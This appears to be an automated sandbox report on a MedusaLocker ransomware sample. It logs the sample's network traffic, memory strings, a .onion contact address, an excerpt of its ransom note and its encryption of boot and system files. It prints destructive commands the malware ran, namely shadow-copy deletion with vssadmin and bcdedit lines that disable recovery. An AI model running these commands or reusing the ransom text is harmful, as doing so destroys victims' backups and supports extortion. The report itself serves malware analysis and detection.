Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200

Source: f6ifQ0POml.exe, 00000000.00000003.700397993.0000000004922000.00000004.00000001.sdmp	String found in binary or memory: http://dmd-ca-beta2/CertEnroll/Microsoft%20Digital%20Media%20Authority%202005.crl
Source: f6ifQ0POml.exe, 00000000.00000003.700397993.0000000004922000.00000004.00000001.sdmp	String found in binary or memory: http://dmd-ca-beta2/CertEnroll/dmd-ca-beta2_Microsoft%20Digital%20Media%20Authority%202005.crt0d
Source: f6ifQ0POml.exe	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/
Source: svhost.exe, 00000014.00000002.768636909.00000000011F7000.00000004.00000020.sdmp	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/21-
Source: Recovery_Instructions.html28.0.dr	String found in binary or memory: http://gvlay6u4g53rxdi5.onion/21-04BymBUjhm2UYsdPZC8XC25a96k28AR0-OcR1TeBYZH2ghwRnMUFReuoTWOG46gMk
Source: f6ifQ0POml.exe	String found in binary or memory: https://www.torproject.org

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: svhost.exe, 00000001.00000002.643151848.0000000000F9A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Found ransom note / readme

Show sources

Source: C:\Recovery\WindowsRE\Recovery_Instructions.html

Dropped file: <html> <style type="text/css"> body { background-color: #f5f5f5; }h1, h3{ text-align: center; text-transform: uppercase; font-weight: normal;}/*---*/.tabs1{ display: block; margin: auto;}.tabs1 .head{ text-align: center; float: top; padding: 0px; text-transform: uppercase; font-weight: normal; display: block; background: #81bef7; color: #DF0101; font-size: 30px;}.tabs1 .identi { font-size: 10px; text-align: center; float: top; padding: 15px; display: block; background: #81bef7; color: #DFDFDF;}.tabs .content { background: #f5f5f5; /*text-align: center;*/ color: #000000; padding: 25px 15px; font-size: 15px; font-weight: 400; line-height: 20px; } .tabs .content a { color: #df0130; font-size: 23px; font-style: italic; text-decoration: none; line-height: 35px; }.tabs .content .text{padding: 25px;line-height: 1.2;} </style> <body> <div class="tabs1"> <div class="head" ><b>Your personal ID:</b></div> <div class="identi"> <span style="width:1000px; color: #ffffff; font-size: 10px;">6DD127CDFA8605D67E23DCC6BFE3BB9D651E875FCA74C36472A7940EC3AA5BD734A743CCF38DA8695EE759EE828F972FD6DA576FB2A44EA9D7507D1A59691543<br>4085B20033721083277693F3DAE16ED704EC1AEEDDEE90296DC73D7EA1B9FF3D096823644596F2DC0F258EC9C971F744CBA60577FB1319EAF15879A6CC5E<br>41653C3FED6B4955ED012734FB873F0026FA5730E9BE2EAB4A72C686EF31508BD5D876398E7AC82F0C97E3EE2FB131499C1C84D98DFC9AF81E87938A9EC5<br>7B4F4BDDB7A6A2222D86E5E13B34442497F6D4274482601E8CC1130AA87D750777F1681E1880A0136B1B45DCCD86FC45B723994ABEA138EF05BE1B5732ED<br>23CFEAFDE825E24828C8E37DF9C631DBE18340485ACFBCDE864F24FE49EF0AA4366F7D5DFDE0BB3EB1DC10DD4FD9FEFF80F78EBAE6F4D3D341EB4C0DB759<br>813CB897C9CDE1CDBEDAB9E2ED412532BA0BAD0B3D43017971C25760D848DFCC58A1C2A556B58AF80CC11DB3A8AB7C3F024B1AEA92A33F59485A9C4B2027<br>35D32C9D7A2DD67504C1103036450B054C5AC0070711C3FBA83DDBE1F2732B7D08ABB00E8E68C5EDE6C7A246E1ACBB731DE097D822BCC473F5AFB441C016<br>55854F83F8B93A9886C84B75BC0669E68A62F46E83F54362B56BE7A315E8B31CD243B073ABCC6D8A2EBF10662E5E1F3590CDF1166917E5436DF44AE14E8B<br>9E6EC30ADBEAD5EBDA41DFA51E34</span> <br> </div> </div>  <div class="tabs"> <div class="tab"> <div id="tab-content1" class="content"> <div class="text">  <b>/!\ YOUR COMPANY NETWORK HAS BEEN PENETRATED /!\</b><br> <b>ALL YOUR IMPORTANT FILES HAVE BEEN ENCRYPTED!</b><br><br> YOUR FILES ARE SAFE! JUST MODIFIED ONLY. (RSA+AES) <br><br>ANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE<br>WILL PERMENANTLY DESTROY YOUR FILE.<br>DO NOT MODIFY ENCRYPTED FILES. DO NOT RENAME ENCRYPTED FILES.<br><br>NO SOFTWARE AVAILABLE ON INTERNET CAN HELP YOU. WE ONLY HAVE<br>SOLUTION TO YOUR PROBLEM.<br><br>WE GATHERED

Jump to dropped file

Yara detected MedusaLocker Ransomware

Show sources

Source: Yara match	File source: f6ifQ0POml.exe, type: SAMPLE
Source: Yara match	File source: 00000014.00000002.767781620.0000000000B15000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.640333058.0000000000B15000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.766983442.0000000000B15000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.638943647.000000000071B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.900797330.0000000000B15000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.638560363.0000000000F65000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.901407926.0000000000B15000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 1740, type: MEMORY
Source: Yara match	File source: Process Memory Space: f6ifQ0POml.exe PID: 6836, type: MEMORY
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 7004, type: MEMORY
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 6864, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED
Source: Yara match	File source: 26.2.svhost.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.svhost.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.svhost.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svhost.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.0.svhost.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.f6ifQ0POml.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.svhost.exe.aa0000.0.unpack, type: UNPACKEDPE

Deletes shadow drive data (may be related to ransomware)

Show sources

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: f6ifQ0POml.exe, 00000000.00000000.638560363.0000000000F65000.00000002.00020000.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quietbcdedit.exe /set {default} recoveryenabled No[LOCKER] Lock drive bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: svhost.exe	Binary or memory string: vssadmin.exe Delete Shadows /All /Quiet
Source: svhost.exe, 00000001.00000000.640333058.0000000000B15000.00000002.00020000.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quietbcdedit.exe /set {default} recoveryenabled No[LOCKER] Lock drive bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: vssadmin.exe, 00000003.00000002.655359160.0000000002990000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /QuietC:\Windows\SYSTEM32\vssadmin.exeWinsta0\Default~
Source: vssadmin.exe, 00000003.00000002.654817507.00000000007DC000.00000004.00000010.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00001316- TID: 00002188- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002
Source: vssadmin.exe, 00000003.00000002.654817507.00000000007DC000.00000004.00000010.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00001316- TID: 00002188- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002 -
Source: vssadmin.exe, 00000003.00000002.655508522.0000000002F40000.00000004.00000040.sdmp	Binary or memory string: vssadmin.exeDeleteShadows/All/Quiet;b
Source: vssadmin.exe, 00000003.00000002.655389108.00000000029E0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage
Source: vssadmin.exe, 00000003.00000002.655389108.00000000029E0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
Source: vssadmin.exe, 00000003.00000002.655389108.00000000029E0000.00000002.00000001.sdmp	Binary or memory string: vssadmin Delete Shadows
Source: vssadmin.exe, 00000003.00000002.655389108.00000000029E0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
Source: vssadmin.exe, 00000003.00000002.655389108.00000000029E0000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:
Source: vssadmin.exe, 00000008.00000002.662045934.0000000002BD0000.00000004.00000040.sdmp	Binary or memory string: vssadmin.exeDeleteShadows/All/Quiet{
Source: vssadmin.exe, 00000008.00000002.661990562.0000000002A72000.00000004.00000020.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00006736- TID: 00004780- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002
Source: vssadmin.exe, 00000008.00000002.661045686.00000000005EC000.00000004.00000010.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00006736- TID: 00004780- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002 -
Source: vssadmin.exe, 00000008.00000002.661505979.00000000028C0000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /QuietC:\Windows\SYSTEM32\vssadmin.exeWinsta0\Default
Source: vssadmin.exe, 0000000C.00000002.668288962.000000000073C000.00000004.00000010.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00006956- TID: 00007140- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002
Source: vssadmin.exe, 0000000C.00000002.668288962.000000000073C000.00000004.00000010.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00006956- TID: 00007140- CMD: vssadmin.exe Delete Shadows /All /Quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002 -
Source: vssadmin.exe, 0000000C.00000002.670615012.0000000002DA0000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /QuietC:\Windows\SYSTEM32\vssadmin.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=WSHEJMDUSERDOMAIN_ROAMINGPROFILE=computerUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows+
Source: vssadmin.exe, 0000000C.00000002.670615012.0000000002DA0000.00000004.00000020.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quiet
Source: vssadmin.exe, 0000000C.00000002.670615012.0000000002DA0000.00000004.00000020.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quietc
Source: vssadmin.exe, 0000000C.00000002.670442315.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage
Source: vssadmin.exe, 0000000C.00000002.670442315.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
Source: vssadmin.exe, 0000000C.00000002.670442315.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: vssadmin Delete Shadows
Source: vssadmin.exe, 0000000C.00000002.670442315.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
Source: vssadmin.exe, 0000000C.00000002.670442315.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:
Source: vssadmin.exe, 0000000C.00000002.668360332.00000000007C0000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /QuietC:\Windows\SYSTEM32\vssadmin.exeWinsta0\Default
Source: vssadmin.exe, 0000000C.00000002.668312110.00000000007B0000.00000004.00000040.sdmp	Binary or memory string: {vssadmin.exeDeleteShadows/All/QuietI%
Source: svhost.exe, 00000014.00000002.767781620.0000000000B15000.00000002.00020000.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quietbcdedit.exe /set {default} recoveryenabled No[LOCKER] Lock drive bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: svhost.exe, 0000001A.00000000.900797330.0000000000B15000.00000002.00020000.sdmp	Binary or memory string: vssadmin.exe Delete Shadows /All /Quietbcdedit.exe /set {default} recoveryenabled No[LOCKER] Lock drive bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: f6ifQ0POml.exe	Binary or memory string: vssadmin.exe Delete Shadows /All /Quietbcdedit.exe /set {default} recoveryenabled No[LOCKER] Lock drive bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

Writes many files with high entropy

Show sources

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\Recovery\WindowsRE\boot.sdi entropy: 7.99993398296	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\bg-BG\bootmgfw.efi.mui entropy: 7.99777887488	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\bg-BG\bootmgr.efi.mui entropy: 7.99755155608	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\Recovery\WindowsRE\Winre.wim entropy: 7.99998850055	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\bootmgfw.efi entropy: 7.99985141476	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Network\Downloader\edb.chk entropy: 7.99283545042	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\bootmgr.efi entropy: 7.99983695496	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db entropy: 7.99988711477	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\cs-CZ\bootmgfw.efi.mui entropy: 7.99799861336	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\cs-CZ\bootmgr.efi.mui entropy: 7.9975934358	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\cs-CZ\memtest.efi.mui entropy: 7.99575586991	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat entropy: 7.99988316856	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\da-DK\bootmgfw.efi.mui entropy: 7.99805144443	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\da-DK\bootmgr.efi.mui entropy: 7.99768556161	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\da-DK\memtest.efi.mui entropy: 7.99599806557	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\de-DE\bootmgfw.efi.mui entropy: 7.99790649838	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\de-DE\bootmgr.efi.mui entropy: 7.99746519941	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\de-DE\memtest.efi.mui entropy: 7.99652449153	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\el-GR\bootmgfw.efi.mui entropy: 7.99741618851	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\el-GR\bootmgr.efi.mui entropy: 7.9978100613	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\el-GR\memtest.efi.mui entropy: 7.99641941408	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\en-GB\bootmgfw.efi.mui entropy: 7.99769154964	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\en-GB\bootmgr.efi.mui entropy: 7.99780086352	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\en-US\bootmgfw.efi.mui entropy: 7.99761157945	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\en-US\bootmgr.efi.mui entropy: 7.99764539929	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\en-US\memtest.efi.mui entropy: 7.99603664214	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\es-ES\bootmgfw.efi.mui entropy: 7.99786961177	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\es-ES\bootmgr.efi.mui entropy: 7.9978527838	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\es-ES\memtest.efi.mui entropy: 7.99684864275	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\es-MX\bootmgfw.efi.mui entropy: 7.99770061879	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\es-MX\bootmgr.efi.mui entropy: 7.99773412622	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\et-EE\bootmgfw.efi.mui entropy: 7.9977131426	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\et-EE\bootmgr.efi.mui entropy: 7.99750628739	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fi-FI\bootmgfw.efi.mui entropy: 7.99772330718	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fi-FI\bootmgr.efi.mui entropy: 7.99756661879	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fi-FI\memtest.efi.mui entropy: 7.99621556427	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fr-CA\bootmgfw.efi.mui entropy: 7.99781542733	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fr-CA\bootmgr.efi.mui entropy: 7.99756611877	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fr-FR\bootmgfw.efi.mui entropy: 7.99750963201	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fr-FR\bootmgr.efi.mui entropy: 7.99788128902	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\fr-FR\memtest.efi.mui entropy: 7.99643281427	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\USOShared\Logs\UpdateUx_Temp.1.etl entropy: 7.99573948618	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\hr-HR\bootmgfw.efi.mui entropy: 7.99783388738	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\hr-HR\bootmgr.efi.mui entropy: 7.99795185678	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\hu-HU\bootmgfw.efi.mui entropy: 7.99730327412	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\hu-HU\bootmgr.efi.mui entropy: 7.99766977988	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\hu-HU\memtest.efi.mui entropy: 7.9961429988	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\it-IT\bootmgfw.efi.mui entropy: 7.9975320606	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\it-IT\bootmgr.efi.mui entropy: 7.99788657853	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Network\Downloader\edbres00001.jrs entropy: 7.9998615952	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\it-IT\memtest.efi.mui entropy: 7.99583412945	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ja-JP\bootmgfw.efi.mui entropy: 7.99799834095	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Network\Downloader\edbres00002.jrs entropy: 7.9998615952	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ja-JP\bootmgr.efi.mui entropy: 7.9973644336	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ja-JP\memtest.efi.mui entropy: 7.99588638126	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ko-KR\bootmgfw.efi.mui entropy: 7.99735256224	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ko-KR\bootmgr.efi.mui entropy: 7.99743542977	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ko-KR\memtest.efi.mui entropy: 7.99573981074	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\lt-LT\bootmgfw.efi.mui entropy: 7.99781420385	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edb.jtx entropy: 7.99981138481	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\lt-LT\bootmgr.efi.mui entropy: 7.99762048189	Jump to dropped file
